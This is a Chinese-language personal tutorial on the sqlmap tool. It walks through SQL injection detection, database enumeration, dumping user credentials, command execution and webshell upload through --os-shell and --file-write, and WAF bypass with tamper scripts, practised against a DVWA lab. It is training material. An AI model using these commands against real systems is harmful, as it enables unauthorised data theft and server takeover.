SQLMAP 使用笔记
--by Anton
0-请求注入检测
sqlmap能够使用基于布尔(bool)、时间(time)、语句是否执行html
(页面返回时间是否增长)、报错(error)、联合查询(union)、堆查询(同时执行多条语句)
get方式 sqlmap.py -u "URL"
post方式 sqlmap.py -u "URL" --data "post数据"
cookie方式 sqlmap.py -u "URL" --cookie "cookie数据"
1-获取数据库信息
获取数据库类型及版本
获取数据库库名和用户名
sqlmap.py -u "URL" --current-db/--current-user
2-获取数据量和用户权限
数据量 sqlmap.py -u "URL" --count -D "DB_name"
判断用户权限 sqlmap.py -u "URL" --privileges
Microsoft SQL Server 最高权限:sa
Mysql :root
3-Mysql数据库注入
mysql数据库结构
mysql注入 库名 sqlmap.py -u "URL" --current-db
表名 sqlmap.py -u "URL" --tables -D "DB_name"
列名 sqlmap.py -u "URL" --columns -T "Tables_name" -D "DB_name"
字段 sqlmap.py -u "URL" --dump -C "Columns_name" -T "Tables_name" -D "DB_name"
sqlmap经常使用选项:
--second-order 当web程序输入与返回不在一处界面时,使用此参数监控另外一处页面
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
--tables -D “数据库” 列举数据库的表名
--columns -T “表名” -D “数据库” 获取表的列名
--dump -C “字段,字段” -T “表名” -D “数据库” 获取表中的数据,包含列
新的数据库注入
MongoDB、NoSQL--sqlmap不支持这两款的注入,Nosqlmap使用
https://github.com/tcstool/nosqlmap
4-管理数据库
链接数据库 sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库"
--报错需安装pymysql https://github.com/PyMySQL/PyMySQL
安装步骤:解压->cmd切换目录->setup.py install
链接上使用参数:--sql-shell 进行sql执行管理
sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库" --sql-shell
@@cersion--查看数据库版本
5-延时注入
使用状况
页面无变化、没法使用布尔真假判断、没法报错--做为最精准的注入缺点:耗时长
如何使用
--delay 数值(延时秒数) sqlmap.py -u "URL" --delay 1
--safe-freq sqlmap.py -u "URL" --safe-freq
6-交互式命令执行和写webshell
初识交互式
注入点用户权限必须为最高权限
sqlmap进行命令执行(提权)
sqlmap.py -u "URL" --os-cmd="命令"
在使用参数交互时要知道网站的绝对路径-盘符开始
执行后0-选择网站语言1
-何种方法寻找网站绝对路径
执行命令后在网站绝对路径下建立了文件,命令执行后自动删除
sqlmap写webshell and 提权
sqlmap.py -u "URL" --os-shell
执行后0-选择网站语言1-何种方法寻找网站绝对路径
--关闭sqlmap自动删除
7-Tamper脚本的介绍和使用
Whate is Tamper?
sqlmap下的tamper目录,高级sql注入测试,如绕过waf(web应用防火墙)
Tamper脚本的使用
--tamper="脚本名字"
sqlmap.py -u "URL" --tamper="脚本名字"
sqlmap.py -u "url" --current-db --dbms=mysql(是access就输access) --tamper “脚本名称(好比1.py)”
Tamper脚本的总结
8-本地写入webshell
what is 本地写入/如何写入?
zaisqlmap目录下新建一个目录mst,在该目录下建立需上传的文件
--file-write "./mst/mst.txt"
本地文件的地址/路径
--file-dest "d:/www/1.html"
目标文件的地址/路径
sqlmap.py -u "URL" --file-write "./mst/mst.txt" --file-dest "d:/www/1.html"
9-批量检测注入漏洞
what is 批量?
批量检测sql注入
如何批量
-m
sqlmap.py -m 路径
结合burpsuite
对post、cookie、http header等检测
burpsuite记录全部request记录,并保存在指定文件夹
sqlmap.py -l c:/burp.log --batch -smart
便可对burp.log中保存的全部request进行注入扫描
Batch:自动选择yes
Smart:启发式快速判断,节约时间
--level=(1-5) #要执行的测试水平等级,默认为1
sqlmap使用的payload能够在xml/payloads/中看到,参数数值影响测试的注python
入点,http cookie在level为2时候会测试,http user——agent/referer头在level为3会测试
为保证全面性,level最好设置最高
--risk=(0-3) #测试执行的风险等级,默认为1
默认的1会测试大部分测试语句,2会增长基于事件的测试语句,3会增长OR语句的sql注入测试
#有时候,例如在Update的语句中,注入一个or的测试语句,可能会致使更新整个表,风险很大
#测试语句可xml/payloads/中找到,也可自行添加
10-Sqlmap注入
SQLMAP目录结构
doc/ --->>>该文件夹包含了SQLmap的具体使用说明,例如多种语言的简要说明、PDF版的详细说明、FAQ、做者信息等。
extra/ -->> >这里包含了SQLmap的多种额外功能,例如发出声响( beep).运行cmd.安全执行、shellcode等。
lib/ -->>>这里包含了SQLmap的多种链接库,如五种注入类型请求的参数、提权操做等。
plugins/ -->> >这里包含了各类数据库的信息和数据库通用事项。
procs/ -->>>这里包含了mssqlserver、mysql. Oracle和postgresql的触发程序
shell/ -->>>这里包含了多种注入成功后的多种sheli远程链接命令执行和管理数据库
tamper/ -->>>这里包含了绕过脚本,例如编码绕过、注释绕过等。
thirdparty/ -->>>这里包含了一些其余第三方的插件,例如优化、保持链接、颜色等。
txt/ -->>>这里包含了一些字典,例如用户浏览器代理、表、列、关键词等。
udf/ -->>>这里包含了用户本身定义的攻击载荷。
waf/ -->>>>这里包含了一一些多种常见的防火墙特征。能够直接使用--identify-waf来进行检测。
xml/ -->>>这里包含了多种数据库的注入检测载荷、旗标信息以及其余信息。在这里能够看到进行注入的。
学习SQLMAP注入
#xml目录下payloads-载荷文件
#-v数字
-v有7个等级,默认为1:
0:只显示python错误以及严重的信息
1:同时显示信息和警告信息(默认)
2:同时显示debug的信息
3:同时显示注入的payload
4:同时显示HTTP请求
5:同时显示HTTP响应头
6:同时显示HTTP响应页面
sqlmap.py -u "URL" --dba -v 3
#结合burpsuite
--proxy=http://ip:port 这里的代理服务器就是burpsuite相对监听的
sqlmap.py -u "URL" --proxy="http://127.0.0.1:8080"
11-实验实训
特殊页面sql注入
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D “dvwa” --tables 进行查询dvwa数据库的表名
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T “users” -D “dvwa”进行查询user表中的列
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C “user,password” -T “users” -D “dvwa” 进行“脱裤”
sql盲注漏洞
RM-Anton原创,转载请注明。mysql